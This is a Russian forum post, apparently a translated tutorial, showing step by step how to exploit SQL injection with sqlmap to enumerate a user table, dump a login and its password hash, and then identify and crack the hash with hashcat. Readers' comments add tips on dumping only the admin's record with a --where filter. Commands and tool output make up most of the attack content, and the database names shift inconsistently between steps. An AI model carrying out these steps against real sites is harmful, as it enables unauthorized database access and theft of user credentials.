Статья SQLMAP-обнаружение и эксплуатация SQL инъекции: детальное разъяснение (2 часть)

SQLMAP-обнаружение и эксплуатация SQL инъекции: детальное разъяснение (часть 1)

Шаг 4: Список столбцов в целевой таблице выбранной базы данных с использованием SQLMAP SQL инъекции:

Теперь нам нужно перечислить все столбцы целевой таблицы user_info базы данных clemcoindustries с помощью SQLMAP SQL инъекции. SQLMAP SQL инъекция упрощает выполнение следующей команды:

Код:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D
gbhackers-T user_i
nfo --columns

Это возвращает 5 записей из целевой таблицы user_info базы данных clemcoindustries.

Код:
[10:57:16] [INFO] fetching columns for table 'user_info' in database 'gbhackers '
[10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:57:18] [INFO] the SQL query used returns 5 entries
[10:57:20] [INFO] retrieved: user_id
[10:57:22] [INFO] retrieved: int(10) unsigned
[10:57:25] [INFO] retrieved: user_login
[10:57:27] [INFO] retrieved: varchar(45)
[10:57:32] [INFO] retrieved: user_password
[10:57:34] [INFO] retrieved: varchar(255)
[10:57:37] [INFO] retrieved: unique_id
[10:57:39] [INFO] retrieved: varchar(255)
[10:57:41] [INFO] retrieved: record_status
[10:57:43] [INFO] retrieved: tinyint(4)


Это именно то, что мы ищем ... user_login и user_password целевой таблицы.

1537223987697.png


Шаг 5: Список имен пользователей из целевых столбцов целевой таблицы выбранной базы данных с использованием SQLMAP SQL инъекции:

SQLMAP SQL инъекция - это просто! Просто снова запустите следующую команду:

Код:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D
gbhackers-T user_info -C user_login --dump

Угадайте что? Теперь у нас есть имя пользователя из базы данных:


Код:
[10:58:39] [INFO] retrieved: userX
[10:58:40] [INFO] analyzing table dump for possible password hashes


1537224029488.png



Почти все, нам теперь нужен только пароль для этого пользователя.

столбцов целевой таблицы выбранной базы данных с использованием SQLMAP SQL инъекции:
Вероятно, вы уже привыкли использовать SQLMAP SQL инъекцию. Используйте следующую команду для извлечения пароля для пользователя.


Код:
sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T
user_info -C user_password --dump
Код:
We have hashed password : 24iYBc17xK0e
Код:
[10:59:15] [INFO] the SQL query used returns 1 entries
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.
[10:59:18] [INFO] analyzing table dump for possible password hashes
Database: sqldummywebsite
Table: user_info
[1 entry]
+---------------+
| user_password |
+---------------+
| 24iYBc17xK0e. |
+---------------+

1537224179715.png



Но не спешите радоваться, этот пароль выглядит забавным. Это не может быть чьим-то паролем. Тот, кто оставляет свой сайт настолько уязвимым, просто не может иметь такой пароль.


Так оно и есть. Это хешированный пароль. Это значит, что пароль зашифрован, и теперь нам нужно его расшифровать.

Я рассказал о том, как расшифровать пароль на этих взламывающих пароли MD5, phpBB, MySQL и SHA1 с помощью Hashcat в посте про Kali Linux. Если вы пропустили его, то вы пропустили много.

Ниже я кратко расскажу ваш о том, как сделать это, но вы действительно должны научиться использовать hashcat.

Шаг 7: Взламывание пароля:
Таким образом, хешированный пароль выглядит следующим образом 24iYBc17xK0e. Но каким образом вы узнаете, какой тип хэша используется?

Определите тип хеша:
К счастью, Kali Linux предоставляет хороший инструмент, и мы можем использовать его, чтобы определить, какой это тип хэша. В командной строке введите следующую команду, а затем введите значение хеша:

Код:
hash-identifier

1537224225431.png



Превосходно. Таким образом, мы видим, что это DES(Unix) хэш.


Взломайте HASH с помощью cudahashcat:
Прежде всего, мне нужно знать, какой код использовать для хэшей DES. Итак, давайте проверим, что:

Код:
cudahashcat --help | grep DES


1537224252640.png



Так что это или 1500 или 3100. Но это была база данных MYSQL, поэтому значение должно быть 1500.


Я сохранил значение хеша 24iYBc17xK0e. в файле DES.hash. Ниже приведена команда, которую я запускаю:

Код:
cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt


1537224288076.png



Интересная находка: Обычный Hashcat не смог определить код для хэша DES. (не в меню справки). Однако оба cudaHashcat и oclHashcat нашли и взломали ключ.


Во всяком случае, вот взломанный пароль: abc123 24iYBc17xK0e. :abc123

Теперь у нас есть пароль для этого пользователя.

Источник:
 
познавательно 👍
Обычный Hashcat не смог определить код для хэша DES. (не в меню справки). Однако оба cudaHashcat и oclHashcat нашли и взломали ключ
т. е. hashcat просто пропустил валидный пароль из словаря или что?

ааа, это перевод.. пардон
 
Я вообще думал что cudahashcat и oclhashcat - это уже давно не рабочие инструменты, и что hashcat заменил их оба!!!
 
подскажите, а если в базе данных более 10к пользователей?! можно каким то образом не дампить всех пользователей а именно админа? и как понять кто из них админ. что-то я не догоняю :D
 
подскажите, а если в базе данных более 10к пользователей?! можно каким то образом не дампить всех пользователей а именно админа? и как понять кто из них админ. что-то я не догоняю :D
Конечно можно, самый простой способ это указать id в запросе, по-умолчанию id админа равен 1 (прошаренный админ сменит id, но это случается нечасто). Как-то так примерно:
SELECT * FROM login WHERE id=1
 
Конечно можно, самый простой способ это указать id в запросе, по-умолчанию id админа равен 1 (прошаренный админ сменит id, но это случается нечасто). Как-то так примерно:
SELECT * FROM login WHERE id=1
Подскажи как указать это sqlmap? Я понял что за параметр, но как это протолкнуть в проге? И еше, админу могут держать свою инфу в недоступной для данного пользователя MySql?
 
Подскажи как указать это sqlmap? Я понял что за параметр, но как это протолкнуть в проге? И еше, админу могут держать свою инфу в недоступной для данного пользователя MySql?
Очень просто:
sqlmap -u -D db_name --where="id=1" --dump

P.S. Встречаются ограничения в плане привилегий, когда текущий пользователь, например может получить названия таблиц и колонок, а записи из колонок нет. Ещё может быть 2 и более баз данных на сайте, и в текущей базе никаких вкусняшек нет, но они находятся в других базах .
 
Последнее редактирование:
  • Нравится
Реакции: cr1pt0n
Может ли лежать пароль от админки сайта в information_schema? или в базе данных?
 
Может ли лежать пароль от админки сайта в information_schema? или в базе данных?

Не может, а с вероятностью 99% именно в базе данных он и лежит. И с вероятностью более 90% он будет захеширован, то есть пароль находится не в открытом виде. Пример из дампа БД:

5645.png
 

Вложения

  • 5645.png
    5645.png
    2 КБ · Просмотры: 210
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!